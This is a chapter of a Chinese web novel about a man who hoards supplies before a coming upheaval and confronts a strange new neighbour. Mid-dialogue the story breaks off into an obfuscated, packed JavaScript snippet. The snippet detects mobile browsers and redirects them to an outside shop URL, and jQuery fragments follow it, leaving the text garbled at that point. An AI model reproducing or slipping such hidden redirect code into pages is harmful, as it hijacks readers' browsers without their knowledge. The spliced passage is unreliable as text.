圣·玛丽亚大教堂后院,唐芸暖一手叉着腰,另一只手搭在眉骨上,眯着眼打量塞满米、面、粮、油以及罐头的货柜车,又扭头瞅了瞅自家侄子唐宇。
“嗳?我说小宇,你大学念的广告设计,怎么毕业没多久,又倒腾起米面粮油了?”唐芸暧踢了踢脚边一袋五十斤装的东北大米,袋子发出结实的闷响。
唐宇挠挠头,拿出早就编好的借口,一脸诚恳,“哪儿啊,这不最近机缘巧合,认识了几位港城来的老板,人家信这个,”他指了指身后的教堂尖顶,“想做点实实在在的善事,这不,我就将物资垃到咱这儿了。”
“捐就捐呗,怎么还神神秘秘的?”唐芸暖可不是那么好糊弄的。
“人家有讲究。”唐宇压低声音,凑近了些,仿佛在传递什么了不得的商业机密,“港城那边信风水、信仪式,老板们特意请了那边有名的大师,要给这批善资‘加持’一下,说是能福泽广布。”
“可谁知道大师档期排到了半年后,所以就希望将这批物资在教堂‘静置’一段日子,吸收点圣洁之气,6个月后在召开捐赠仪式。”
他顿了顿,又补充道:“您也知道,咱们这边不兴宣扬这些封建迷信,老板们特意交代,要低调,千万低调。”
唐芸暖听得眉毛一挑一挑的,从风水大师听到圣洁之气,表情变幻不定,咂咂嘴感叹:“土大款啊,这要是告诉附近老头老太太,半年后来教堂做祷告能发大米和豆油,门槛现在都得被踩烂了。”
唐宇被逗乐了,连忙拱手:“小姑,千万记住,这些物资的存在不能告诉任何人,人家港城的大老板办事特低调。货柜车就放这儿,您得空就慢慢往下搬,千万别雇佣外人,南郊仓库还有呢,我找时间都分批运过来。”
唐芸暖抱起胳膊,上下打量着唐宇,那双和他一样透着狡黠的眼睛里闪过洞察的光芒。
她慢悠悠地绕着货车踱了半步,忽然开口:“小宇啊,是不是6个月后有大事儿要发生啊?”
她压低嗓子,几乎用气音说:“我听说岛国那边贼心不死,是不是要打仗啊?有钱人都属狗的,有啥消息闻的贼快。”
唐宇心里一咯噔,面上却绷住了,只能干笑:“呵……呵呵,哪儿能呢。我就是帮大老板们落实一下慈善项目,你看,捐赠合同都签了。”
唐芸暖摆摆手,一副我懂,你不用解释的表情:“虽然不是一个系统的,但是我本人非常尊重土豪们的宗教信仰,你放心,事儿指定办妥。”
唐宇这才彻底放下心,他相信这批物资在不久后会发挥大作用,起码能保证唐芸暧后半辈子衣食无忧。
而且在蓝星大乱前,他一定会给圣玛丽亚教堂送去更多的物资。
搬了一天的货,唐宇的胳膊酸得几乎抬不起来,双腿也好像灌了铅似的,好不容易回到幸福家园,慢吞吞爬上楼,然而家门口的景象瞬间让他心头窜上一股邪火。
又是一座‘山’——用废弃纸箱、旧报纸和空塑料瓶杂乱堆砌的堡垒,嚣张地堵在他那扇可怜的门前。
这已经是连续第5天了。
“没完了是吧?”唐宇磨着后槽牙,阴沉的目光在狭窄的楼道里扫射,试图找出哪个无聊家伙留下的蛛丝马迹。
视线逡巡间,不期然地,定格在了隔壁202的门上。
不对劲。
202室,他记得很清楚,原住户几个月前就搬走了,房子一直空置,门上贴满了层层叠叠、无人清理的开锁小广告和各种催缴通知单。
可现在,202的门板干干净净。
似乎被人仔细地地清理过,连多年积攒下的顽固胶渍都被刮拭得一干二净,露出防盗门原本冷硬的铁灰色。
就连门上贴着的那张“吉屋出租”的红纸,也被撕掉了。
空置的房门不会自己变干净,他的家门口更不会凭空出现垃圾山。一种近乎本能的警觉,混合着连日被骚扰的烦躁,齐齐蹿上唐宇的心头。
他几乎没怎么犹豫,上前两步,抬手就叩响了202的门。
“咚、咚。”
停顿两秒,又加大力气。
“咚、咚、咚。”
敲门声在寂静的楼道里显得格外清晰,甚至带着点兴师问罪的意味。
202室门内——
空旷的客厅里,黎昧体内那股因狂化而奔涌咆哮的力量,正如退潮般一点点抽离,随之而来的是虚脱与钝痛。每一寸肌肉都在细微地颤抖,宣告着过度消耗体能的糟糕状态。
她本可以等,等到身体完全恢复到正常状态,再回荣成。但“狂化”的余韵如今成了一种特殊便利,她不想浪费这状态下的另一重身份。于是便搭乘最早一班飞机,带着一身尚未平息的灼热,来到了幸福家园小区。
然而,就在她打算蜷缩在角落,沉沉昏睡时,敲门声不合时宜地响了起来。
“咚、咚。”
接着是稍重的三下。
“咚、咚、咚。”
黎昧倏然睁眼。
褪去猩红的眼瞳在昏暗的光线里,依然锐利如未归鞘的刀锋。她全身的肌肉在瞬间绷紧,又强迫自己缓缓放松,只是那放松的姿态下,是更深的戒备。
她的呼吸被压得极轻,几乎融入尘埃,所有的感官都化成极度强悍的战斗意志,敏锐地捕捉着门外一丝一毫的动静。
半晌,202的防盗门被怯生生的拉开一道缝隙。
几乎是开门的一瞬,唐宇见到一张精致又惨白的脸,“靠!”
他还以为自己见鬼了,不过很快就认出了门后的人。
“是你?”
唐宇的警惕心和敏感神经瞬间被提到顶点。
202的新房主竟然是黎夜,前两天他们还在下水管道里共同杀过人,分过尸。今天这货就搬到了隔壁,未免太巧了。
“唐先生,您好。”黎昧像个因为螺丝没拧好而卡顿的机器人,呆呆的杵在门后跟唐宇打招呼。
门缝不大,但是门后的人很显眼,是那种略显妖冶的突出相貌,浑身还透着一股清冷死气。
“嗯。”唐宇大喇喇的推开门,生冷不忌的跨进去,质疑的目光扫视着整个202。
他甚至怀疑这屋子是不是有什么奇怪异能降临,或者是什么奇怪组织的老巢,毕竟,黎夜这种家伙,不会随便出现在这种老旧小区。
唐宇挑眉,说话带刺:“你就是新搬来的邻居?”
黎昧虚弱的厉害,精致的五官苍白的要命,看起来活像被人放了血,她顶着木木的脑袋:“嗯,这边,便宜。”
唐宇朝着楼道口的废品堆努努嘴:“你堆在我家门口的?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124961|196021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
黎昧懵懵点头。
唐宇刚想数落两句,一看他这副马上就要英年早逝的鬼样子,就又莫名的偃旗息鼓。
“说说吧,为什么往我家门口堆废品?”
黎昧虽然看着一副活人微死的丧感,说话也有气无力,但漆黑的眸子是那样真挚:“下水道那一片,不太平,你不要去那边捡废品,我可以将捡到的分给你,你去别的地方,可以捡到更多。”
狂化状态下,一口气能说这么多话,是黎昧训练很久的结果。
“……”
这货真把我当收破烂儿的了,这小子一身短命鬼的相,没想到脑子还有病。
唐宇一向没什么耐心,遇到不爽的事,素来直接掀桌子:“这算是你在报答我?那也太没有诚意了,你应该把每天收到的全部废品,都上供给救命恩人才行。”
说话间,唐宇十分鸡贼的打开了系统面板。
半天过去,没有任何关于黎夜的印象值。
与此同时,黎昧身体狂化后的副作用如潮水般侵袭而来,她刚刚还能断断续续的听到唐宇口中的只言片语。到现在,一点都听不到了。
她浑浑噩噩的脑子艰难的转动,残存的理智在提醒她必须做出回应。
队医乔安娜的声音仿佛从遥远的回忆中传来,带着职业性的冷静叮嘱:“如果必须交流,又无法确认信息……‘奥’,‘好的’,是通用且安全的应答。”
于是,当唐宇那带着明显试探的要求落下,黎昧只是迟缓地眨了下眼,浓密的长睫在苍白的脸上投下浅浅阴影,然后用一种近乎乖巧、实则完全抽离的语气给与回应。
“奥。”
她停顿了一下,似乎觉得单音节不够,又补了一句。
“好的。”
“……”答应的这么痛快?
唐宇再次扫了眼系统面板,确实一点印象值都没有。
难道这小子真是想报恩?
扯淡,这年头哪还有这种人,报恩?恩将仇报才对。
唐宇不习惯别人对他好,这世上,所有的东西都是标好价码的,在价格标签没亮出来前,他绝不会投入一分一毫。
不仅不会投入,他还会对此警惕万分。
他刻意让自己的语气更加恶劣,试图撕破这层虚伪的好意:“你犯贱啊~”
奈何,黎昧根本听不见。
她只是看到唐先生那形状好看的嘴唇又动了几下,似乎在说什么。她努力集中涣散的视线,紧紧盯着他的唇,试图从那模糊的翕动中读出只言片语。无奈,对方说的并非她熟悉的、可以轻易辨认的口型。
读不懂……
慌乱在黎昧心底蔓延,但脸上却因为机能退化而呈现出一种近乎呆滞的平静,任谁看,都有点邪门。
半晌,在那令人窒息的沉默后,她再次依据“乔安娜医生提供的安全答案”,给出了回应:“奥。”
“哈?”
什么情况,对方这反应,这眼神……反倒是给唐宇看的浑身直起鸡皮疙瘩。
他的心脏也砰砰砰的跳个没完。一种混杂着荒谬、警惕和一丝微妙情愫的复杂情绪涌上心头。
唐宇眨眨眼,这货不对劲儿啊,老盯着我看什么?
“靠,难不成,联盟第一悍将,是个……基佬!”